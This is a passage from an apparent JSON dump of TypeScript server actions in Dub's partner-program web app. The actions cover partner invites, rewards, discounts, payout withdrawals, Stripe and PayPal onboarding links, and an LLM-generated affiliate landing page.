targets: [\n          {\n            type: \"program\",\n            id: program.id,\n            metadata: program,\n          },\n        ],\n      }),\n    ]),\n  );\n\n  if (redirectTo) redirect(redirectTo);\n};\n\n// Invite a partner to the program\nasync function invitePartner({\n  program,\n  workspace,\n  partner,\n  userId,\n}: {\n  program: Program;\n  workspace: Pick<Project, \"id\" | \"plan\" | \"webhookEnabled\">;\n  partner: {\n    email: string;\n  };\n  userId: string;\n}) {\n  await createAndEnrollPartner({\n    workspace: {\n      id: workspace.id,\n      plan: workspace.plan as PlanProps,\n      webhookEnabled: false,\n    },\n    program,\n    partner: {\n      name: partner.email.split(\"@\")[0],\n      email: partner.email,\n    },\n    userId,\n    skipEnrollmentCheck: true,\n    status: \"invited\",\n  });\n\n  waitUntil(\n    (async () => {\n      await sendEmail({\n        subject: `${program.name} invited you to join Dub Partners`,\n        variant: \"notifications\",\n        to: partner.email,\n        replyTo: program.supportEmail || \"noreply\",\n        react: ProgramInvite({\n          email: partner.email,\n          name: null,\n          program: {\n            name: program.name,\n            slug: program.slug,\n            logo: program.logo,\n          },\n          ...(await getGroupRewardsAndBounties({\n            programId: program.id,\n            groupId: program.defaultGroupId,\n          })),\n        }),\n      });\n    })(),\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/actions/partners/create-reward.ts",
    "content": "\"use server\";\n\nimport { trackRewardActivityLog } from \"@/lib/api/activity-log/track-reward-activity-log\";\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { createId } from \"@/lib/api/create-id\";\nimport { getGroupOrThrow } from \"@/lib/api/groups/get-group-or-throw\";\nimport { serializeReward } from \"@/lib/api/partners/serialize-reward\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { validateReward } from \"@/lib/api/rewards/validate-reward\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport {\n  createRewardSchema,\n  REWARD_EVENT_COLUMN_MAPPING,\n} from \"@/lib/zod/schemas/rewards\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nexport const createRewardAction = authActionClient\n  .inputSchema(createRewardSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const {\n      event,\n      type,\n      amountInCents,\n      amountInPercentage,\n      maxDuration,\n      description,\n      tooltipDescription,\n      modifiers,\n      groupId,\n    } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n    const { canUseAdvancedRewardLogic } = getPlanCapabilities(workspace.plan);\n\n    if (modifiers && !canUseAdvancedRewardLogic) {\n      throw new Error(\n        \"Advanced reward structures are only available on the Advanced plan and above.\",\n      );\n    }\n\n    const group = await getGroupOrThrow({\n      groupId,\n      programId,\n    });\n\n    const rewardIdColumn = REWARD_EVENT_COLUMN_MAPPING[event];\n\n    if (group[rewardIdColumn]) {\n      throw new Error(\n        `You can't create a ${event} reward for this group because it already has a ${event} reward.`,\n      );\n    }\n\n    validateReward(parsedInput);\n\n    const reward = await prisma.$transaction(async (tx) => {\n      const reward = await tx.reward.create({\n        data: {\n          id: createId({ prefix: \"rw_\" }),\n          programId,\n          event,\n          type,\n          maxDuration,\n          description: description || null,\n          tooltipDescription: tooltipDescription || null,\n          modifiers: modifiers || Prisma.DbNull,\n          ...(type === \"flat\"\n            ? {\n                amountInCents,\n                amountInPercentage: null,\n              }\n            : {\n                amountInCents: null,\n                amountInPercentage: new Prisma.Decimal(amountInPercentage!),\n              }),\n        },\n      });\n\n      await tx.partnerGroup.update({\n        where: {\n          id: groupId,\n        },\n        data: {\n          [rewardIdColumn]: reward.id,\n        },\n      });\n\n      await tx.programEnrollment.updateMany({\n        where: {\n          groupId,\n        },\n        data: {\n          [rewardIdColumn]: reward.id,\n        },\n      });\n\n      return reward;\n    });\n\n    waitUntil(\n      Promise.allSettled([\n        recordAuditLog({\n          workspaceId: workspace.id,\n          programId,\n          action: \"reward.created\",\n          description: `Reward ${reward.id} created`,\n          actor: user,\n          targets: [\n            {\n              type: \"reward\",\n              id: reward.id,\n              metadata: serializeReward(reward),\n            },\n          ],\n        }),\n\n        trackRewardActivityLog({\n          workspaceId: workspace.id,\n          programId,\n          userId: user.id,\n          resourceId: reward.id,\n          parentResourceType: \"group\",\n          parentResourceId: groupId,\n          old: null,\n          new: reward,\n        }),\n      ]),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/deactivate-partner.ts",
    "content": "\"use server\";\n\nimport { deactivatePartner } from \"@/lib/api/partners/deactivate-partner\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { deactivatePartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\n// Deactivate a partner\nexport const deactivatePartnerAction = authActionClient\n  .inputSchema(deactivatePartnerSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { partnerId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    await deactivatePartner({\n      workspaceId: workspace.id,\n      programId,\n      partnerId,\n      user,\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/delete-discount.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { deleteDiscountCodes } from \"@/lib/api/discounts/delete-discount-code\";\nimport { getDiscountOrThrow } from \"@/lib/api/partners/get-discount-or-throw\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { qstash } from \"@/lib/cron\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst deleteDiscountSchema = z.object({\n  workspaceId: z.string(),\n  discountId: z.string(),\n});\n\nexport const deleteDiscountAction = authActionClient\n  .inputSchema(deleteDiscountSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { discountId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const discount = await getDiscountOrThrow({\n      programId,\n      discountId,\n    });\n\n    // Cache discount codes to delete them later\n    const discountCodes = await prisma.discountCode.findMany({\n      where: {\n        discountId: discount.id,\n      },\n    });\n\n    const group = await prisma.$transaction(async (tx) => {\n      const group = await tx.partnerGroup.update({\n        where: {\n          discountId: discount.id,\n        },\n        data: {\n          discountId: null,\n        },\n      });\n\n      await tx.programEnrollment.updateMany({\n        where: {\n          discountId: discount.id,\n        },\n        data: {\n          discountId: null,\n        },\n      });\n\n      await tx.discountCode.updateMany({\n        where: {\n          discountId: discount.id,\n        },\n        data: {\n          discountId: null,\n        },\n      });\n\n      await tx.discount.delete({\n        where: {\n          id: discount.id,\n        },\n      });\n\n      return group;\n    });\n\n    waitUntil(\n      Promise.allSettled([\n        qstash.publishJSON({\n          url: `${APP_DOMAIN_WITH_NGROK}/api/cron/links/invalidate-for-discounts`,\n          body: {\n            groupId: group.id,\n          },\n        }),\n\n        deleteDiscountCodes(discountCodes),\n\n        recordAuditLog({\n          workspaceId: workspace.id,\n          programId,\n          action: \"discount.deleted\",\n          description: `Discount ${discountId} deleted`,\n          actor: user,\n          targets: [\n            {\n              type: \"discount\",\n              id: discountId,\n              metadata: discount,\n            },\n          ],\n        }),\n      ]),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/delete-partner-comment.ts",
    "content": "\"use server\";\n\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { prisma } from \"@dub/prisma\";\nimport { deletePartnerCommentSchema } from \"../../zod/schemas/programs\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\n// Delete a partner comment\nexport const deletePartnerCommentAction = authActionClient\n  .inputSchema(deletePartnerCommentSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { commentId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredPermissions: [\"messages.write\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    await prisma.partnerComment.delete({\n      where: {\n        id: commentId,\n        programId,\n        userId: user.id,\n      },\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/delete-program-invite.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { bulkDeleteLinks } from \"@/lib/api/links/bulk-delete-links\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst deleteProgramInviteSchema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string(),\n});\n\nexport const deleteProgramInviteAction = authActionClient\n  .inputSchema(deleteProgramInviteSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { partnerId } = parsedInput;\n    const { workspace, user } = ctx;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { program, partner, ...programEnrollment } =\n      await prisma.programEnrollment.findUniqueOrThrow({\n        where: {\n          partnerId_programId: {\n            partnerId,\n            programId,\n          },\n        },\n        include: {\n          program: true,\n          partner: true,\n          links: true,\n        },\n      });\n\n    if (programEnrollment.status !== \"invited\") {\n      throw new Error(\"Invite not found.\");\n    }\n\n    // only delete links that have don't have sales / leads\n    const linksToDelete = programEnrollment.links.filter(\n      (link) => link.leads === 0 && link.sales === 0,\n    );\n\n    await Promise.allSettled([\n      prisma.programEnrollment.delete({\n        where: {\n          id: programEnrollment.id,\n        },\n      }),\n\n      prisma.link.deleteMany({\n        where: { id: { in: linksToDelete.map((link) => link.id) } },\n      }),\n\n      bulkDeleteLinks(linksToDelete),\n\n      recordAuditLog({\n        workspaceId: workspace.id,\n        programId,\n        action: \"partner.invite_deleted\",\n        description: `Partner ${partner.id} invite deleted`,\n        actor: user,\n        targets: [\n          {\n            type: \"partner\",\n            id: partner.id,\n            metadata: partner,\n          },\n        ],\n      }),\n    ]);\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/delete-reward.ts",
    "content": "\"use server\";\n\nimport { trackRewardActivityLog } from \"@/lib/api/activity-log/track-reward-activity-log\";\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { getRewardOrThrow } from \"@/lib/api/partners/get-reward-or-throw\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { REWARD_EVENT_COLUMN_MAPPING } from \"@/lib/zod/schemas/rewards\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst deleteRewardSchema = z.object({\n  workspaceId: z.string(),\n  rewardId: z.string(),\n});\n\nexport const deleteRewardAction = authActionClient\n  .inputSchema(deleteRewardSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { rewardId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const reward = await getRewardOrThrow({\n      rewardId,\n      programId,\n    });\n\n    const rewardIdColumn = REWARD_EVENT_COLUMN_MAPPING[reward.event];\n\n    const partnerGroup = await prisma.$transaction(async (tx) => {\n      const group = await tx.partnerGroup.update({\n        // @ts-ignore\n        where: {\n          [rewardIdColumn]: reward.id,\n        },\n        data: {\n          [rewardIdColumn]: null,\n        },\n      });\n\n      await tx.programEnrollment.updateMany({\n        where: {\n          [rewardIdColumn]: reward.id,\n        },\n        data: {\n          [rewardIdColumn]: null,\n        },\n      });\n\n      await tx.reward.delete({\n        where: {\n          id: reward.id,\n        },\n      });\n\n      return group;\n    });\n\n    waitUntil(\n      Promise.allSettled([\n        recordAuditLog({\n          workspaceId: workspace.id,\n          programId,\n          action: \"reward.deleted\",\n          description: `Reward ${rewardId} deleted`,\n          actor: user,\n          targets: [\n            {\n              type: \"reward\",\n              id: rewardId,\n              metadata: reward,\n            },\n          ],\n        }),\n\n        trackRewardActivityLog({\n          workspaceId: workspace.id,\n          programId,\n          userId: user.id,\n          resourceId: reward.id,\n          parentResourceType: \"group\",\n          parentResourceId: partnerGroup?.id,\n          old: reward,\n          new: null,\n        }),\n      ]),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/force-withdrawal.ts",
    "content": "\"use server\";\n\nimport { throwIfNoPermission } from \"@/lib/auth/partner-users/throw-if-no-permission\";\nimport { createStablecoinPayout } from \"@/lib/partners/create-stablecoin-payout\";\nimport { createStripeTransfer } from \"@/lib/partners/create-stripe-transfer\";\nimport { redis } from \"@/lib/upstash\";\nimport { Partner } from \"@dub/prisma/client\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\n// Force a withdrawal for a partner (even if the total amount is below the minimum withdrawal amount)\nexport const forceWithdrawalAction = authPartnerActionClient.action(\n  async ({ ctx }) => {\n    const { partner, partnerUser } = ctx;\n\n    throwIfNoPermission({\n      role: partnerUser.role,\n      permission: \"payout_settings.update\",\n    });\n\n    if (!partner.defaultPayoutMethod) {\n      throw new Error(\n        \"No default payout method found. Please contact support to set one.\",\n      );\n    }\n\n    if (![\"connect\", \"stablecoin\"].includes(partner.defaultPayoutMethod)) {\n      throw new Error(\n        \"Invalid default payout method found. Please contact support to set one.\",\n      );\n    }\n\n    await forceWithdrawal(partner);\n  },\n);\n\nexport const forceWithdrawal = async (\n  partner: Pick<Partner, \"id\" | \"defaultPayoutMethod\">,\n) => {\n  const lockKey = `force-withdrawal:lock:${partner.id}`;\n  const acquired = await redis.set(lockKey, \"1\", { nx: true, ex: 60 });\n\n  if (!acquired) {\n    throw new Error(\n      \"A withdrawal is already in progress. Please wait for it to complete.\",\n    );\n  }\n\n  try {\n    if (partner.defaultPayoutMethod === \"stablecoin\") {\n      await createStablecoinPayout({\n        partnerId: partner.id,\n        forceWithdrawal: true,\n      });\n    } else if (partner.defaultPayoutMethod === \"connect\") {\n      await createStripeTransfer({\n        partnerId: partner.id,\n        forceWithdrawal: true,\n      });\n    }\n  } finally {\n    await redis.del(lockKey);\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/actions/partners/generate-lander.ts",
    "content": "\"use server\";\n\nimport { serializeReward } from \"@/lib/api/partners/serialize-reward\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport {\n  programLanderSchema,\n  programLanderSimpleSchema,\n} from \"@/lib/zod/schemas/program-lander\";\nimport { formatDiscountDescription } from \"@/ui/partners/format-discount-description\";\nimport { formatRewardDescription } from \"@/ui/partners/format-reward-description\";\nimport { anthropic } from \"@ai-sdk/anthropic\";\nimport { prisma } from \"@dub/prisma\";\nimport { Reward } from \"@dub/prisma/client\";\nimport FireCrawlApp, {\n  ErrorResponse,\n  ScrapeResponse,\n} from \"@mendable/firecrawl-js\";\nimport { generateObject } from \"ai\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  websiteUrl: z.url(),\n  landerData: programLanderSchema.optional(),\n  prompt: z.string().optional(),\n});\n\nexport const generateLanderAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace } = ctx;\n    const { websiteUrl, landerData, prompt } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n    const program = await prisma.program.findUniqueOrThrow({\n      where: {\n        id: programId,\n      },\n      include: {\n        groups: {\n          where: {\n            slug: DEFAULT_PARTNER_GROUP.slug,\n          },\n          include: {\n            clickReward: true,\n            saleReward: true,\n            leadReward: true,\n            discount: true,\n          },\n        },\n      },\n    });\n\n    const group = program.groups[0];\n    const discount = group.discount;\n    const rewards = [group.clickReward, group.leadReward, group.saleReward]\n      .filter((r): r is Reward => r !== null)\n      .map(serializeReward);\n\n    const firecrawl = new FireCrawlApp({\n      apiKey: process.env.FIRECRAWL_API_KEY,\n    });\n\n    const scrapeResult = await firecrawl.scrapeUrl(websiteUrl, {\n      formats: [\"markdown\", \"links\"],\n      onlyMainContent: false,\n      parsePDF: false,\n      maxAge: 14400000,\n    });\n\n    if (!scrapeResult.success) throw new Error(scrapeResult.error);\n\n    let pricingScrapeResult: ScrapeResponse | ErrorResponse | null = null;\n    const pricingLink = scrapeResult.links?.find((link) =>\n      link.endsWith(\"/pricing\"),\n    );\n    if (pricingLink)\n      pricingScrapeResult = await firecrawl.scrapeUrl(pricingLink, {\n        formats: [\"markdown\"],\n        onlyMainContent: true,\n        parsePDF: false,\n        maxAge: 14400000,\n      });\n\n    const mainPageMarkdown = cleanMarkdown(scrapeResult.markdown || \"\");\n    const pricingPageMarkdown = pricingScrapeResult?.success\n      ? cleanMarkdown(pricingScrapeResult.markdown || \"\")\n      : null;\n\n    const { object } = await generateObject({\n      model: anthropic(\"claude-sonnet-4-20250514\"),\n      schema: landerData ? programLanderSchema : programLanderSimpleSchema,\n      prompt:\n        // Instructions\n        `Generate a basic landing page for an affiliate program powered by Dub Partners based on a company website. ` +\n        `For context, Dub Partners is a next-gen affiliate management platform with 1-click global payouts + white-labeling functionality. ` +\n        `Do not include any initial header/hero content because the landing page will already have an initial title and subtitle. ` +\n        `Do not make any assumptions about the terms or rewards associated with the program. ` +\n        (scrapeResult.metadata?.ogImage\n          ? `You ${landerData ? \"could\" : \"may\"} include an image block in the landing page, only using the OG image here: ${scrapeResult.metadata?.ogImage}. `\n          : \"\") +\n        `Do not add any file blocks. ` +\n        `If you have product pricing information, ${landerData ? \"you could\" : \"you should\"} include an earnings calculator block, using the highest non-enterprise tier for the product price. ` +\n        `Markdown is supported in \"text\" blocks, but use it sparingly. ` +\n        `Avoid using links. Relevant CTA links are already on the landing page. ` +\n        // Additional instructions\n        (prompt\n          ? `\\n\\nAdditional instructions are provided by the user. If they specify a specific action, do not do anything more than that action: \"${prompt}\"`\n          : \"\") +\n        // Program details\n        `\\n\\nProgram details:` +\n        `\\n\\nName: ${program.name}\\n` +\n        `\\nAffiliate rewards: ${rewards.map((reward) => formatRewardDescription(reward)).join(\", \")}` +\n        (discount\n          ? `\\nDiscounts for referred users: ${formatDiscountDescription(discount)}`\n          : \"\") +\n        // Existing page\n        (landerData\n          ? `\\n\\nThis landing page already has existing content. DO NOT update the existing content, only add new content (unless otherwise directed). ` +\n            `Absolutely do not update file or image blocks, just maintain them. Existing content:` +\n            `\\n${JSON.stringify(landerData, null, 2)}`\n          : \"\") +\n        // Website content\n        `\\n\\nCompany website to base the landing page on:\\n\\n${mainPageMarkdown}` +\n        (pricingPageMarkdown\n          ? `\\n\\nCompany pricing page:\\n\\n${pricingPageMarkdown}`\n          : \"\"),\n      temperature: 0.4,\n    });\n\n    return programLanderSchema.parse(object);\n  });\n\nfunction cleanMarkdown(markdown: string) {\n  // Remove images\n  markdown = markdown.replaceAll(/!\\[[^\\]]+\\]\\([^\\)]+\\)/g, \"\");\n\n  // Truncate to 10k characters\n  markdown = markdown.substring(0, 10_000);\n\n  return markdown;\n}\n"
  },
  {
    "path": "apps/web/lib/actions/partners/generate-paypal-oauth-url.ts",
    "content": "\"use server\";\n\nimport { throwIfNoPermission } from \"@/lib/auth/partner-users/throw-if-no-permission\";\nimport { getPayoutMethodsForCountry } from \"@/lib/partners/get-payout-methods-for-country\";\nimport { paypalOAuthProvider } from \"@/lib/paypal/oauth\";\nimport { PartnerPayoutMethod } from \"@dub/prisma/client\";\nimport { COUNTRIES } from \"@dub/utils\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\nexport const generatePaypalOAuthUrl = authPartnerActionClient.action(\n  async ({ ctx }) => {\n    const { partner, user, partnerUser } = ctx;\n\n    throwIfNoPermission({\n      role: partnerUser.role,\n      permission: \"payout_settings.update\",\n    });\n\n    if (!partner.country) {\n      throw new Error(\n        \"You haven't set your country yet. Please go to partners.dub.co/settings to set your country.\",\n      );\n    }\n\n    const availablePayoutMethods = getPayoutMethodsForCountry({\n      country: partner.country,\n    });\n\n    if (!availablePayoutMethods.includes(PartnerPayoutMethod.paypal)) {\n      throw new Error(\n        `Your current country (${COUNTRIES[partner.country]}) is not supported for PayPal payouts. Please go to partners.dub.co/settings to update your country, or contact support.`,\n      );\n    }\n\n    return {\n      url: await paypalOAuthProvider.generateAuthUrl(user.id),\n    };\n  },\n);\n"
  },
  {
    "path": "apps/web/lib/actions/partners/generate-stripe-account-link.ts",
    "content": "\"use server\";\n\nimport { throwIfNoPermission } from \"@/lib/auth/partner-users/throw-if-no-permission\";\nimport { getPayoutMethodsForCountry } from \"@/lib/partners/get-payout-methods-for-country\";\nimport { stripe } from \"@/lib/stripe\";\nimport { createConnectedAccount } from \"@/lib/stripe/create-connected-account\";\nimport { prisma } from \"@dub/prisma\";\nimport { PartnerPayoutMethod } from \"@dub/prisma/client\";\nimport { COUNTRIES, PARTNERS_DOMAIN } from \"@dub/utils\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\nexport const generateStripeAccountLink = authPartnerActionClient.action(\n  async ({ ctx }) => {\n    const { partner, partnerUser } = ctx;\n\n    throwIfNoPermission({\n      role: partnerUser.role,\n      permission: \"payout_settings.update\",\n    });\n\n    if (!partner.stripeConnectId) {\n      // this should never happen\n      if (!partner.email) {\n        throw new Error(\n          \"Partner does not have a valid email. Please contact support to update your email.\",\n        );\n      }\n\n      if (!partner.country) {\n        throw new Error(\n          \"You haven't set your country yet. Please go to partners.dub.co/settings to set your country.\",\n        );\n      }\n\n      const availablePayoutMethods = getPayoutMethodsForCountry({\n        country: partner.country,\n      });\n\n      if (!availablePayoutMethods.includes(PartnerPayoutMethod.connect)) {\n        throw new Error(\n          `Your current country (${COUNTRIES[partner.country]}) is not supported for Stripe payouts. Please go to partners.dub.co/settings to update your country, or contact support.`,\n        );\n      }\n\n      // create a new account\n      const connectedAccount = await createConnectedAccount({\n        country: partner.country,\n        profileType: partner.profileType,\n        companyName: partner.companyName,\n      });\n\n      partner.stripeConnectId = connectedAccount.id;\n\n      await prisma.partner.update({\n        where: { id: partner.id },\n        data: { stripeConnectId: connectedAccount.id },\n      });\n    }\n\n    if (!partner.stripeConnectId) {\n      throw new Error(\n        \"Failed to create a new Stripe connect account. Please contact support.\",\n      );\n    }\n\n    const account = await stripe.accounts.retrieve(partner.stripeConnectId);\n\n    const { url } =\n      account.details_submitted === true\n        ? await stripe.accounts.createLoginLink(partner.stripeConnectId)\n        : await stripe.accountLinks.create({\n            account: partner.stripeConnectId,\n            refresh_url: `${PARTNERS_DOMAIN}/payouts?settings=true`,\n            return_url: `${PARTNERS_DOMAIN}/payouts?settings=true`,\n            type: \"account_onboarding\",\n            collect: \"eventually_due\",\n          });\n\n    return {\n      url,\n    };\n  },\n);\n"
  },
  {
    "path": "apps/web/lib/actions/partners/generate-stripe-recipient-account-link.ts",
    "content": "\"use server\";\n\nimport { throwIfNoPermission } from \"@/lib/auth/partner-users/throw-if-no-permission\";\nimport { getPayoutMethodsForCountry } from \"@/lib/partners/get-payout-methods-for-country\";\nimport { createStripeRecipientAccount } from \"@/lib/stripe/create-stripe-recipient-account\";\nimport { createStripeRecipientAccountLink } from \"@/lib/stripe/create-stripe-recipient-account-link\";\nimport { prisma } from \"@dub/prisma\";\nimport { PartnerPayoutMethod } from \"@dub/prisma/client\";\nimport { COUNTRIES } from \"@dub/utils\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\nexport const generateStripeRecipientAccountLink =\n  authPartnerActionClient.action(async ({ ctx }) => {\n    const { partner, partnerUser } = ctx;\n\n    throwIfNoPermission({\n      role: partnerUser.role,\n      permission: \"payout_settings.update\",\n    });\n\n    let useCase: \"account_onboarding\" | \"account_update\" = \"account_update\";\n\n    if (!partner.stripeRecipientId) {\n      if (!partner.email) {\n        throw new Error(\n          \"Partner does not have a valid email. Please contact support to update your email.\",\n        );\n      }\n\n      if (!partner.country) {\n        throw new Error(\n          \"You haven't set your country yet. Please go to partners.dub.co/settings to set your country.\",\n        );\n      }\n\n      const availablePayoutMethods = getPayoutMethodsForCountry({\n        country: partner.country,\n      });\n\n      if (!availablePayoutMethods.includes(PartnerPayoutMethod.stablecoin)) {\n        throw new Error(\n          `Your current country (${COUNTRIES[partner.country]}) is not supported for Stablecoin payouts. Please go to partners.dub.co/settings to update your country, or contact support.`,\n        );\n      }\n\n      const recipientAccount = await createStripeRecipientAccount({\n        name: partner.name,\n        email: partner.email,\n        country: partner.country,\n        profileType: partner.profileType,\n      });\n\n      partner.stripeRecipientId = recipientAccount.id;\n\n      await prisma.partner.update({\n        where: {\n          id: partner.id,\n        },\n        data: {\n          stripeRecipientId: recipientAccount.id,\n        },\n      });\n\n      useCase = \"account_onboarding\";\n    }\n\n    const accountLink = await createStripeRecipientAccountLink({\n      stripeRecipientId: partner.stripeRecipientId!,\n      useCase,\n    });\n\n    return {\n      url: accountLink.url,\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/get-conversion-score.ts",
    "content": "import { PartnerConversionScore } from \"@/lib/types\";\nimport { PARTNER_CONVERSION_SCORE_RATES } from \"@/lib/zod/schemas/partner-network\";\n\nexport function getConversionScore(\n  conversionRate: number,\n): PartnerConversionScore {\n  return conversionRate > PARTNER_CONVERSION_SCORE_RATES.excellent\n    ? \"excellent\"\n    : conversionRate > PARTNER_CONVERSION_SCORE_RATES.high\n      ? \"high\"\n      : conversionRate > PARTNER_CONVERSION_SCORE_RATES.good\n        ? \"good\"\n        : conversionRate > PARTNER_CONVERSION_SCORE_RATES.average\n          ? \"average\"\n          : conversionRate > PARTNER_CONVERSION_SCORE_RATES.low\n            ? \"low\"\n            : \"unknown\";\n}\n"
  },
  {
    "path": "apps/web/lib/actions/partners/invite-partner-from-network.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { createId } from \"@/lib/api/create-id\";\nimport { createAndEnrollPartner } from \"@/lib/api/partners/create-and-enroll-partner\";\nimport { getGroupRewardsAndBounties } from \"@/lib/api/partners/get-group-rewards-and-bounties\";\nimport { getNetworkInvitesUsage } from \"@/lib/api/partners/get-network-invites-usage\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { invitePartnerFromNetworkSchema } from \"@/lib/zod/schemas/partner-network\";\nimport { sendEmail } from \"@dub/email\";\nimport ProgramNetworkInvite from \"@dub/email/templates/program-network-invite\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { getProgramOrThrow } from \"../../api/programs/get-program-or-throw\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nexport const invitePartnerFromNetworkAction = authActionClient\n  .inputSchema(invitePartnerFromNetworkSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const networkInvitesUsage = await getNetworkInvitesUsage(workspace);\n\n    if (networkInvitesUsage >= workspace.networkInvitesLimit)\n      throw new Error(\n        \"You have reached your partner network invitations limit.\",\n      );\n\n    const { partnerId, groupId } = parsedInput;\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const [program, partner] = await Promise.all([\n      getProgramOrThrow({\n        workspaceId: workspace.id,\n        programId,\n      }),\n\n      prisma.partner.findFirst({\n        where: {\n          id: partnerId,\n          programs: {\n            none: {\n              programId,\n            },\n          },\n        },\n      }),\n    ]);\n\n    if (!partner || !partner.email)\n      throw new Error(\"Partner not found or already enrolled in this program.\");\n\n    const enrolledPartner = await createAndEnrollPartner({\n      workspace,\n      program,\n      partner: {\n        email: partner.email,\n        ...(groupId && { groupId }),\n      },\n      userId: user.id,\n      skipEnrollmentCheck: true,\n      status: \"invited\",\n    });\n\n    await prisma.discoveredPartner.upsert({\n      where: {\n        programId_partnerId: {\n          programId,\n          partnerId,\n        },\n      },\n      create: {\n        id: createId({ prefix: \"dpn_\" }),\n        programId,\n        partnerId,\n        invitedAt: new Date(),\n      },\n      update: {\n        invitedAt: new Date(),\n      },\n    });\n\n    waitUntil(\n      Promise.allSettled([\n        (async () => {\n          if (!partner.email) return;\n          const rewardsAndBounties = await 